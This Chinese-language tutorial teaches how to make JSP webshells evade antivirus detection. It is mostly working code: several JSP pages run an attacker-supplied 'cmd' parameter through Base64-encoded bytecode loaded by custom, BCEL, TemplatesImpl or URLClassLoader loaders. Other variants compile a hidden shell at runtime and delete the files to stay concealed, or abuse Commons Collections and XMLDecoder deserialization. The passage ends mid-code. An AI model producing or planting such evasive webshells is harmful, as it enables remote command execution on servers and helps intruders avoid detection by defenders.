<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%
ClassLoader loader = new ClassLoader() {
@Override
public Class<?> loadClass(String name) throws ClassNotFoundException {
if(name.contains("com.demo.Shell")){
return findClass(name);
}
return super.loadClass(name);
}
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
try {
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAFQEADmNvbS9kZW1vL1NoZWxsBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEABjxpbml0PgEAAygpVgwABQAGCgAEAAcBAARydW5zAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1J1bnRpbWUHAAsBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAANAA4KAAwADwEABGV4ZWMMABEACgoADAASAQAEQ29kZQABAAIABAAAAAAAAgABAAUABgABABQAAAARAAEAAQAAAAUqtwAIsQAAAAAAAQAJAAoAAQAUAAAAFAAKAAIAAAAIuAAQK7YAE7AAAAAAAAA=");
PermissionCollection pc = new Permissions();
pc.add(new AllPermission());
ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null);
return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);
} catch (Exception e) {
e.printStackTrace();
}
return super.findClass(name);
}
};
String cmd = request.getParameter("cmd");
Class<?> shell = loader.loadClass("com.demo.Shell");
Object object = shell.newInstance();
Method dm = shell.getDeclaredMethod("runs",String.class);
Process o2 = (Process)dm.invoke(object, cmd);
InputStream is = o2.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
String r = "";
String s = "";
while((r = bufferedReader.readLine())!=null){
s += r;
}
response.getWriter().println(s);
%>
免殺修改
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.FileInputStream" %>
<%@ page import="java.nio.channels.FileChannel" %>
<%@ page import="java.nio.ByteBuffer" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
Method defineClass =
ClassLoader.class.getDeclaredMethod("defineClass", String.class,
byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAUAoAEAAtCgAuAC8KAC4AMAoAMQAyBwAzBwA0CgAGADUKAAUANggANwoABQA4BwA5CgALAC0KAAsAOgoACwA7BwA8BwA9AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMY29tL2RlbW8vU2hlbGw7AQAEcnVucwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAJpcwEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEADmJ1ZmZlcmVkUmVhZGVyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQABcgEAAXMBAA1TdGFja01hcFRhYmxlBwA+BwA/BwBABwAzAQAKRXhjZXB0aW9ucwcAQQEAClNvdXJjZUZpbGUBAApTaGVsbC5qYXZhDAARABIHAEIMAEMARAwARQBGBwA/DABHAEgBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAEQBJDAARAEoBAAAMAEsATAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDABNAE4MAE8ATAEADmNvbS9kZW1vL1NoZWxsAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nACEADwAQAAAAAAACAAEAEQASAAEAEwAAAC8AAQABAAAABSq3AAGxAAAAAgAUAAAABgABAAAACAAVAAAADAABAAAABQAWABcAAAAJABgAGQACABMAAADlAAUABgAAAEu4AAIqtgADTCu2AARNuwAFWbsABlkstwAHtwAIThIJOgQSCToFLbYAClk6BMYAHLsAC1m3AAwZBbYADRkEtgANtgAOOgWn/+AZBbAAAAADABQAAAAiAAgAAAALAAgADAANAA0AHQAOACEADwAlABAALwARAEgAEwAVAAAAPgAGAAAASwAaABsAAAAIAEMAHAAdAAEADQA+AB4AHwACAB0ALgAgACEAAwAhACoAIgAbAAQAJQAmACMAGwAFACQAAAAcAAL/ACUABgcAJQcAJgcAJwcAKAcAJQcAJQAAIgApAAAABAABACoAAQArAAAAAgAs");
Class shell = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "com.demo.Shell", bytes, 0, bytes.length);
Object object = shell.newInstance();
Method dm = shell.getDeclaredMethod("runs",String.class);
Object invoke = dm.invoke(object, "calc");
%>
免殺效果:
雖然用原始的defindClass雖然能到達免殺效果,但是由于沒有重寫loadClass,findClass,沒有打破雙親委派,導致惡意的字節碼被加載后,再次訪問網頁的時候,類不會被生成,導致不能正常使用
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.security.cert.Certificate" %>
<%@ page import="java.security.*" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%
ClassLoader loader = new ClassLoader() {
@Override
public Class<?> loadClass(String name) throws ClassNotFoundException {
if(name.contains("com.demo.Shell")){
return findClass(name);
}
return super.loadClass(name);
}
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
try {
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAUAoAEAAtCgAuAC8KAC4AMAoAMQAyBwAzBwA0CgAGADUKAAUANggANwoABQA4BwA5CgALAC0KAAsAOgoACwA7BwA8BwA9AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMY29tL2RlbW8vU2hlbGw7AQAEcnVucwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAJpcwEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEADmJ1ZmZlcmVkUmVhZGVyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQABcgEAAXMBAA1TdGFja01hcFRhYmxlBwA+BwA/BwBABwAzAQAKRXhjZXB0aW9ucwcAQQEAClNvdXJjZUZpbGUBAApTaGVsbC5qYXZhDAARABIHAEIMAEMARAwARQBGBwA/DABHAEgBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAEQBJDAARAEoBAAAMAEsATAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDABNAE4MAE8ATAEADmNvbS9kZW1vL1NoZWxsAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nACEADwAQAAAAAAACAAEAEQASAAEAEwAAAC8AAQABAAAABSq3AAGxAAAAAgAUAAAABgABAAAACAAVAAAADAABAAAABQAWABcAAAAJABgAGQACABMAAADlAAUABgAAAEu4AAIqtgADTCu2AARNuwAFWbsABlkstwAHtwAIThIJOgQSCToFLbYAClk6BMYAHLsAC1m3AAwZBbYADRkEtgANtgAOOgWn/+AZBbAAAAADABQAAAAiAAgAAAALAAgADAANAA0AHQAOACEADwAlABAALwARAEgAEwAVAAAAPgAGAAAASwAaABsAAAAIAEMAHAAdAAEADQA+AB4AHwACAB0ALgAgACEAAwAhACoAIgAbAAQAJQAmACMAGwAFACQAAAAcAAL/ACUABgcAJQcAJgcAJwcAKAcAJQcAJQAAIgApAAAABAABACoAAQArAAAAAgAs");
PermissionCollection pc = new Permissions();
pc.add(new AllPermission());
ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null);
return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);
} catch (Exception e) {
e.printStackTrace();
}
return super.findClass(name);
}
};
String cmd = request.getParameter("cmd");
Class<?> shell = loader.loadClass("com.demo.Shell");
Object object = shell.newInstance();
Method dm = shell.getDeclaredMethod("runs",String.class);
response.getWriter().println(dm.invoke(object, cmd));
%>
免殺效果:
Apache Commons BCEL被包含在了JDK的原生庫中,BCEL庫提供了一系列用于分析、創建、修改Java Class文件的API用于處理字節碼,但是com.sun.org.apache.bcel.internal.util.ClassLoader這個類加載器由于安全問題,在JDK7以上版本被移除,導致BCEL字節碼的利用變得很局限。
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="com.sun.org.apache.xml.internal.security.utils.Base64" %>
<%@ page import="com.sun.org.apache.bcel.internal.classfile.Utility" %>
<%
byte[] bytes = Base64.decode("yv66vgAAADQAUAoAEAAtCgAuAC8KAC4AMAoAMQAyBwAzBwA0CgAGADUKAAUANggANwoABQA4BwA5CgALAC0KAAsAOgoACwA7BwA8BwA9AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMY29tL2RlbW8vU2hlbGw7AQAEcnVucwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAJpcwEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEADmJ1ZmZlcmVkUmVhZGVyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQABcgEAAXMBAA1TdGFja01hcFRhYmxlBwA+BwA/BwBABwAzAQAKRXhjZXB0aW9ucwcAQQEAClNvdXJjZUZpbGUBAApTaGVsbC5qYXZhDAARABIHAEIMAEMARAwARQBGBwA/DABHAEgBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAEQBJDAARAEoBAAAMAEsATAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDABNAE4MAE8ATAEADmNvbS9kZW1vL1NoZWxsAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nACEADwAQAAAAAAACAAEAEQASAAEAEwAAAC8AAQABAAAABSq3AAGxAAAAAgAUAAAABgABAAAACAAVAAAADAABAAAABQAWABcAAAAJABgAGQACABMAAADlAAUABgAAAEu4AAIqtgADTCu2AARNuwAFWbsABlkstwAHtwAIThIJOgQSCToFLbYAClk6BMYAHLsAC1m3AAwZBbYADRkEtgANtgAOOgWn/+AZBbAAAAADABQAAAAiAAgAAAALAAgADAANAA0AHQAOACEADwAlABAALwARAEgAEwAVAAAAPgAGAAAASwAaABsAAAAIAEMAHAAdAAEADQA+AB4AHwACAB0ALgAgACEAAwAhACoAIgAbAAQAJQAmACMAGwAFACQAAAAcAAL/ACUABgcAJQcAJgcAJwcAKAcAJQcAJQAAIgApAAAABAABACoAAQArAAAAAgAs");
String code = Utility.encode(bytes, true);
String bcelCode = "$$BCEL$$" + code;
com.sun.org.apache.bcel.internal.util.ClassLoader bcelClassLoader = new com.sun.org.apache.bcel.internal.util.ClassLoader();
Class<?> shell = bcelClassLoader.loadClass(bcelCode);
Object object = shell.newInstance();
Method dm = shell.getDeclaredMethod("runs",String.class);
String cmd = request.getParameter("cmd");
response.getWriter().println(dm.invoke(object, cmd));
%>
TemplatesImpl是fastjson反序列化漏洞中常用的對象之一,但是由于在TemplatesImpl觸發漏洞點只是調用個無參構造,導致惡意類的類方法無法被調用,只能將惡意代碼插入到無參構造方法,或者靜態代碼塊中。
package com.demo;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Shell extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
注意:
這里的類必須繼承自AbstractTranslet
<%@ page import="java.util.Base64" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" %>
<%@ page import="com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl" %>
<%
class Demo {
private void setFiledValue(Object obj, String fieldName, Object fieldValue) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, fieldValue);
}
public Demo(String s) {
try {
byte[] codes = Base64.getDecoder().decode(s);
byte[][] _bytecodes = new byte[][] {
codes,
};
TemplatesImpl templates = new TemplatesImpl();
setFiledValue(templates, "_bytecodes", _bytecodes);
setFiledValue(templates, "_name", "whatever");
setFiledValue(templates, "_tfactory", new TransformerFactoryImpl());
templates.newTransformer();
} catch (Exception e) {
e.printStackTrace();
}
}
}
new Demo("yv66vgAAADQAZgoAEwA/CgBAAEEKAEAAQgoAQwBEBwBFBwBGCgAGAEcKAAUASAgASQoABQBKBwBLCgALAD8KAAsATAoACwBNCABOBwBPCgAQAFAHAFEHAFIBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAEExjb20vZGVtby9TaGVsbDsBAARydW5zAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAANjbWQBABJMamF2YS9sYW5nL1N0cmluZzsBAAdwcm9jZXNzAQATTGphdmEvbGFuZy9Qcm9jZXNzOwEAAmlzAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQAOYnVmZmVyZWRSZWFkZXIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAAFyAQABcwEADVN0YWNrTWFwVGFibGUHAFMHAFQHAFUHAEUBAApFeGNlcHRpb25zAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcAVgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247BwBPAQAKU291cmNlRmlsZQEAClNoZWxsLmphdmEMABQAFQcAVwwAWABZDABaAFsHAFQMAFwAXQEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyDAAUAF4MABQAXwEAAAwAYABhAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAGIAYwwAZABhAQAEY2FsYwEAE2phdmEvaW8vSU9FeGNlcHRpb24MAGUAFQEADmNvbS9kZW1vL1NoZWxsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBAA9wcmludFN0YWNrVHJhY2UAIQASABMAAAAAAAUAAQAUABUAAQAWAAAALwABAAEAAAAFKrcAAbEAAAACABcAAAAGAAEAAAAOABgAAAAMAAEAAAAFABkAGgAAAAkAGwAcAAIAFgAAAOUABQAGAAAAS7gAAiq2AANMK7YABE27AAVZuwAGWSy3AAe3AAhOEgk6BBIJOgUttgAKWToExgAcuwALWbcADBkFtgANGQS2AA22AA46Baf/4BkFsAAAAAMAFwAAACIACAAAABcACAAYAA0AGQAdABoAIQAbACUAHAAvAB0ASAAfABgAAAA+AAYAAABLAB0AHgAAAAgAQwAfACAAAQANAD4AIQAiAAIAHQAuACMAJAADACEAKgAlAB4ABAAlACYAJgAeAAUAJwAAABwAAv8AJQAGBwAoBwApBwAqBwArBwAoBwAoAAAiACwAAAAEAAEAEAABAC0ALgACABYAAAA/AAAAAwAAAAGxAAAAAgAXAAAABgABAAAAJQAYAAAAIAADAAAAAQAZABoAAAAAAAEALwAwAAEAAAABADEAMgACACwAAAAEAAEAMwABAC0ANAACABYAAABJAAAABAAAAAGxAAAAAgAXAAAABgABAAAAKgAYAAAAKgAEAAAAAQAZABoAAAAAAAEALwAwAAEAAAABADUANgACAAAAAQA3ADgAAwAsAAAABAABADMACAA5ABUAAQAWAAAAYQACAAEAAAASuAACEg+2AANXpwAISyq2ABGxAAEAAAAJAAwAEAADABcAAAAWAAUAAAARAAkAFAAMABIADQATABEAFQAYAAAADAABAA0ABAA6ADsAAAAnAAAABwACTAcAPAQAAQA9AAAAAgA+");
%>
在這里由于不能調用惡意類的類方法和有參構造,導致無法動態的執行命令,雖然如此但依舊可能利用ASM,javassist這些字節碼框架來動態生成惡意類,進行動態的調用命令,在本文先不在探討如何利用,
利用的方式將會在后期文章中講解。
URLClassLoader一般有兩種利用方式,一種是遠程加載class文件,一種是本地加載class文件。
直接利用遠程在家class文件的好處是代碼量少,特征少。但是由于需要一個外網主機作為服務器,遠程可能存在著被溯源的可能性。
<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.lang.reflect.Method" %>
<%
String cmd = request.getParameter("cmd");
URL url = new URL("http://127.0.0.1:8000/");
URLClassLoader classLoader = new URLClassLoader(new URL[]{url});
System.out.println("父類加載器:" + classLoader.getParent()); // 默認父類加載器是系統類加載器
Class shell = classLoader.loadClass("com.demo.Shell");
Object object = shell.newInstance();
Method dm = shell.getDeclaredMethod("runs",String.class);
Object invoke = dm.invoke(object, cmd);
response.getWriter().println(invoke);
%>
這里講解一下服務端如何搭建:
第一步:在一個文件夾中使用python開啟一個http服務
python -m http.server
第二步:將編譯好的class文件,根據全限定類名創建相應的文件夾,并導入class文件
以上兩步即可完成搭建
免殺效果:
該免殺方式為先寫入一個java馬,利用JavaCompiler將其在jvm運行時編譯成class文件,及javac動態編譯,在利用urlclassloader加載編譯好的class文件,為了消除特征以下的base64編碼的內容就是之前寫好的webshell代碼。由于這種方式會創建java,class文件,為了隱蔽性,在這里將刪除的文件在進行了刪除處理。
<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.FileWriter" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.io.IOException" %>
<%@ page import="javax.tools.JavaCompiler" %>
<%@ page import="javax.tools.ToolProvider" %>
<%@ page import="java.io.File" %>
<%
class delete{
public void deleteDir(File directory){
File files[] = directory.listFiles();
for (File file : files) {
if(file.isDirectory()){
deleteDir(file);
}else {
file.delete();
}
}
directory.delete();
}
}
String cmd = request.getParameter("cmd");
String base64Code = "cGFja2FnZSBjb20uZGVtbzsgIGltcG9ydCBqYXZhLmlvLkJ1ZmZlcmVkUmVhZGVyOyBpbXBvcnQgamF2YS5pby5JT0V4Y2VwdGlvbjsgaW1wb3J0IGphdmEuaW8uSW5wdXRTdHJlYW07IGltcG9ydCBqYXZhLmlvLklucHV0U3RyZWFtUmVhZGVyOyAgcHVibGljIGNsYXNzIFNoZWxsIHsgICAgIHB1YmxpYyBzdGF0aWMgU3RyaW5nIHJ1bnMoU3RyaW5nIGNtZCkgdGhyb3dzIElPRXhjZXB0aW9uIHsgICAgICAgICBQcm9jZXNzIHByb2Nlc3MgPSBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKGNtZCk7ICAgICAgICAgSW5wdXRTdHJlYW0gaXMgPSBwcm9jZXNzLmdldElucHV0U3RyZWFtKCk7ICAgICAgICAgQnVmZmVyZWRSZWFkZXIgYnVmZmVyZWRSZWFkZXIgPSBuZXcgQnVmZmVyZWRSZWFkZXIobmV3IElucHV0U3RyZWFtUmVhZGVyKGlzKSk7ICAgICAgICAgU3RyaW5nIHIgPSAiIjsgICAgICAgICBTdHJpbmcgcyA9ICIiOyAgICAgICAgIHdoaWxlKChyID0gYnVmZmVyZWRSZWFkZXIucmVhZExpbmUoKSkhPW51bGwpeyAgICAgICAgICAgICBzICs9IHI7ICAgICAgICAgfSAgICAgICAgIHJldHVybiBzOyAgICAgfSAgfQ==";
FileWriter writer;
try {
writer = new FileWriter(System.getProperty("user.dir")+"\\Shell.java");
writer.write(new String(Base64.getDecoder().decode(base64Code)));
writer.flush();
writer.close();
} catch (IOException e) {
e.printStackTrace();
}
try {
JavaCompiler javac = ToolProvider.getSystemJavaCompiler();
int status = javac.run(null, null, null, "-d", System.getProperty("user.dir"),System.getProperty("user.dir")+"\\Shell.java");
if(status!=0){
response.getWriter().println(System.getProperty("user.dir"));
}
URLClassLoader classLoader = new URLClassLoader(new URL[]{new File(String.valueOf(System.getProperty("user.dir"))).toURI().toURL()});
Class shell = classLoader.loadClass("com.demo.Shell");
Object object = shell.newInstance();
Method dm = shell.getDeclaredMethod("runs",String.class);
Object invoke = dm.invoke(object, cmd);
response.getWriter().println(invoke);
new delete().deleteDir(new File(System.getProperty("user.dir") + "\\com"));
new delete().deleteDir(new File(System.getProperty("user.dir") + "\\Shell.java"));
} catch (Exception e) {
e.printStackTrace();
}
%>
免殺效果:
如果大家學過shellcode的免殺,我想都會有一種似曾相識的感覺,沒錯,這里的字節碼類似與shellcode,而類加載器類似于shellcode加載器。本文講解了最常用的生成字節碼的方式,以及利用類加載器加載字節碼達到免殺效果。
本章主要講解,如何利用通用漏洞來進行命令執行,從而達到免殺效果
這種方式就相當于直接觸發提供一個反序列化漏洞入口,但是能否被利用,還是在于服務端本身是否存在反序列化漏洞,下面給了一個例子,使用cc1鏈構建的webshell。
<%@ page import="java.io.*" %>
<%@ page import="org.apache.commons.collections.Transformer" %>
<%@ page import="org.apache.commons.collections.functors.ConstantTransformer" %>
<%@ page import="org.apache.commons.collections.functors.InvokerTransformer" %>
<%@ page import="org.apache.commons.collections.functors.ChainedTransformer" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="org.apache.commons.collections.map.LazyMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.InvocationHandler" %>
<%@ page import="java.lang.annotation.Retention" %>
<%@ page import="java.lang.reflect.Proxy" %>
<%
String cmd = request.getParameter("cmd");
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { cmd }) };
Transformer transformerChain = new ChainedTransformer(transformers);
Map innermap = new HashMap();
Map outmap = LazyMap.decorate(innermap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outmap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(handler);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
%>
免殺效果:
可見由于調用的函數太多,特征也非常明顯,這里算是提供一些思路。
想必大家都分析Weblogic的xmlDecoder反序列化漏洞,XMLDecoder免殺其實就是利用XMLDecoder處理惡意的xml文件導致命令執行,并沒有太多常見命令函數的特征,免殺效果不錯。
<%@ page import="java.beans.XMLDecoder" %>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String s = "<object class=\"java.lang.ProcessBuilder\">\n" +
"<array class=\"java.lang.String\" length=\"3\">\n" +
"<void index=\"0\">\n" +
"<string>cmd.exe</string>\n" +
"</void>\n" +
"<void index=\"1\">\n" +
"<string>/c</string>\n" +
"</void>\n" +
"<void index=\"2\">\n" +
"<string>"+cmd+"</string>\n" +
"</void>\n" +
"</array>\n" +
"<void method=\"start\" />\n" +
"</object>\n";
XMLDecoder xd = new XMLDecoder(new ByteArrayInputStream(s.getBytes()));
ProcessBuilder process = (ProcessBuilder) xd.readObject();
